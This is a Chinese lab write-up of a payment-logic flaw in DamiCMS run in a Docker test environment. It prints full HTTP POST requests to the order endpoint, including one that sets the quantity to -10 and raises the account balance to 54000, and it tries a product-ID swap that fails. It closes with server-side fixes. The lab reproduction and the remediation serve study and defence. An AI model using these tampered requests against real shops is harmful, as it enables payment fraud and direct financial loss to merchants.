支付逻辑漏洞复现

以下文章只用于技术交流,超出以外的后果与本作者无关。
请遵守网络安全法,请勿以身试法。

大米CMS靶场搭建

sudo docker pull betsy0/pwdflielogic:latest
sudo docker run -d -p 10001:81 --restart=always
betsy0/pwdflielogic:latest

漏洞危害

支付漏洞通常都是篡改价格,比如,一分钱买任何东西、零元购、比原价低的价格购买等等,直接造成企业的经济损失。

测试方法

1、修改购买数量:在进行订单支付的时候修改物品的数量,可以支付一件商品的价格购买多件
2、修改商品金额为负数进行增加账户资金
3、修改支付价格
4、修改对应商品
5、修改支付状态
6、修改支付接口等等

漏洞复现

注册账号并登录系统

查看账号余额为0元,

选定需要购买的商品需要5400元,进行正常判断,肯定是余额不足无法支付的,我们抓包分析一下数据包,分析如下:

id%5B%5D=69   \\为商品编号
pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393206337.jpg   \\图片地址
name%5B%5D=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88& \\商品名字
gtype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=1 \\类型
price%5B%5D=5400 \\价格

qty%5B%5D=1 \\商品数量

剩下的就是个人填的收货信息了

POST /index.php?s=/member/dobuy.html HTTP/1.1
Host: 192.168.174.147:10001
Content-Length: 365
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.174.147:10001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.174.147:10001/index.php?m=Member&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393206337.jpg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=k7l6nvahojhq8ciog74q6330km; BkGOp9578O_think_template=default
Connection: close

id%5B%5D=69&pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393206337.jpg&name%5B%5D=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&gtype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=1&price%5B%5D=5400&realname=1&tel=1&province=%E5%8C%97%E4%BA%AC&city=%E5%8C%97%E4%BA%AC%E5%B8%82&area=%E4%B8%9C%E5%9F%8E%E5%8C%BA&address=1111&trade_type=3&iscart=0

分析数据包之后,对我们有价值可测试的地方就是商品编号和价格了,可以试试能不能用5400的价格购买比本身价格高的商品,但是我们账户没有余额,那么只能先测试价格参数是否存在支付逻辑漏洞,我们修改 qty%5B%5D=-10 ,那么如果存在支付逻辑漏洞我们余额会变成 54000

POST /index.php?s=/member/dobuy.html HTTP/1.1
Host: 192.168.174.147:10001
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.174.147:10001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.174.147:10001/index.php?m=Member&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393206337.jpg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=k7l6nvahojhq8ciog74q6330km; BkGOp9578O_think_template=default
Connection: close

id%5B%5D=69&pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393206337.jpg&name%5B%5D=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&gtype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=-10&price%5B%5D=5400&realname=1&tel=1&province=%E5%8C%97%E4%BA%AC&city=%E5%8C%97%E4%BA%AC%E5%B8%82&area=%E4%B8%9C%E5%9F%8E%E5%8C%BA&address=1111&trade_type=3&iscart=0

发现订单居然下单成功,那我们来看看账户余额为54000,存在支付逻辑漏洞

继续测试是否存在低价格购买高价格商品漏洞,找到高价格商品编号127,金额为6000,找到低价商品4000,进行测试,在支付订单页面进行数据包修改。

POST /index.php?s=/member/dobuy.html HTTP/1.1
Host: 192.168.174.147:10001
Content-Length: 323
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.174.147:10001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.174.147:10001/index.php?m=Member&a=gobuy&iscart=0&id=66&name=%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=4000&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393207060.jpg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=k7l6nvahojhq8ciog74q6330km; BkGOp9578O_think_template=default
Connection: close

id%5B%5D=127&pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393207060.jpg&name%5B%5D=%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&gtype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=1&price%5B%5D=4000&realname=1&tel=1&province=%E5%8C%97%E4%BA%AC&city=%E5%8C%97%E4%BA%AC%E5%B8%82&area=%E4%B8%9C%E5%9F%8E%E5%8C%BA&address=1&trade_type=3&iscart=0

订单下单成功,查看订单信息

测试失败,不存在此漏洞

修复方法

  1. 敏感参数使用密文传输;
  2. 服务端校验过滤用户提交的参数;
  3. 提交订单时后台判断单价是否与数据库中相符;
  4. 服务端计算金额是判断是否为正数;
  5. 生成数据签名,对用户金额和订单签名。
  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
大米CMS是一个免费开源、快速、简单的PC建站和手机建站集成一体化系统,致力于为用户提供简单、快捷的PC建站和智能手机建站解决方案。大米CMS特点:1、扩展字段自定义,根据自己系统需要无限扩展字段,对于SELECT等下拉选项支持PHP代码生成OPTION,支持自定义多图多文件上传字段!2、后台栏目分类无限极,并可以控制字段的显示或隐藏,生成不同的管理表单,内置RBAC权限体系,分栏目权限,内容权限,方便管理3、列表模板(list目录下)和详细模板(page目录下)自定义,4、基于thinkphp MVC框架开发, 内置大量函数方便前台模板调用,大米拥有自己的万能标签与分类标签等方便调用数据5、作站灵活,可以将该系统做成任何类型网站,内置新闻类型站、企业站、手机3g站模型,通过http://***安装目录****/?t=xinwen这种查看,方便二次开发出不同模板7、支持伪静态与全站生成静态HTML,支持数据采集8、国内率先将微电商的概念引入CMS,让企业站不仅仅再是展示企业,可快速开展电子商务。集成支付宝标准双接口,支持购物车,可在线支付,货到付款,站内支付三种购买方式!会员集成QQ快捷登陆,支持购物订单通过电子邮件提醒!9、跨平台支持移动终端访问,自适应,不变形!可做手机APP等应用开发,内置JSON数据API接口10、国内CMS首创MSYQL表万能管理模型,输入MYSQL表名即可生成一个有增删改功能的管理模型,可快速在此基础上开发出自己想要的管理功能!11、配备手机数据交互接口JSON格式API12、支持中英等多语言大米CMS 更新日志:(1)增加管理员操作日志(2)管理员登录错误5次锁定15分钟(3)升级Kindeditor编辑器 多图多文件上传插件为html5支持的 不再依赖swf因为很多系统或浏览器禁用flash
大米CMS是一个免费开源、快速、简单的PC建站和手机建站集成一体化系统,致力于为用户提供简单、快捷的PC建站和智能手机建站解决方案。 大米CMS特点: 1、扩展字段自定义,根据自己系统需要无限扩展字段,对于SELECT等下拉选项支持PHP代码生成OPTION,支持自定义多图多文件上传字段! 2、后台栏目分类无限极,并可以控制字段的显示或隐藏,生成不同的管理表单,内置RBAC权限体系,分栏目权限,内容权限,方便管理 3、列表模板(list目录下)和详细模板(page目录下)自定义, 4、基于thinkphp MVC框架开发, 内置大量函数方便前台模板调用,大米拥有自己的万能标签与分类标签等方便调用数据 5、作站灵活,可以将该系统做成任何类型网站,内置新闻类型站、企业站、手机3g站模型,通过http://***安装目录****/?t=xinwen这种查看,方便二次开发出不同模板 7、支持伪静态与全站生成静态HTML,支持数据采集 8、国内率先将微电商的概念引入CMS,让企业站不仅仅再是展示企业,可快速开展电子商务。集成支付宝标准双接口,支持购物车,可在线支付,货到付款,站内支付三种购买方式!会员集成QQ快捷登陆,支持购物订单通过电子邮件提醒! 9、跨平台支持移动终端访问,自适应,不变形!可做手机APP等应用开发,内置JSON数据API接口 10、国内CMS首创MSYQL表万能管理模型,输入MYSQL表名即可生成一个有增删改功能的管理模型,可快速在此基础上开发出自己想要的管理功能! 11、配备手机数据交互接口JSON格式API 12、支持中英等多语言 大米CMS 更新日志: 采用最新的thinkphp6.X框架重构,做了大量封装,代码无任何加密 完全开源,支持composer更新,模板写法有少许变化,尽量遵照原来写法 让熟悉大米cms的可以快速上手
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值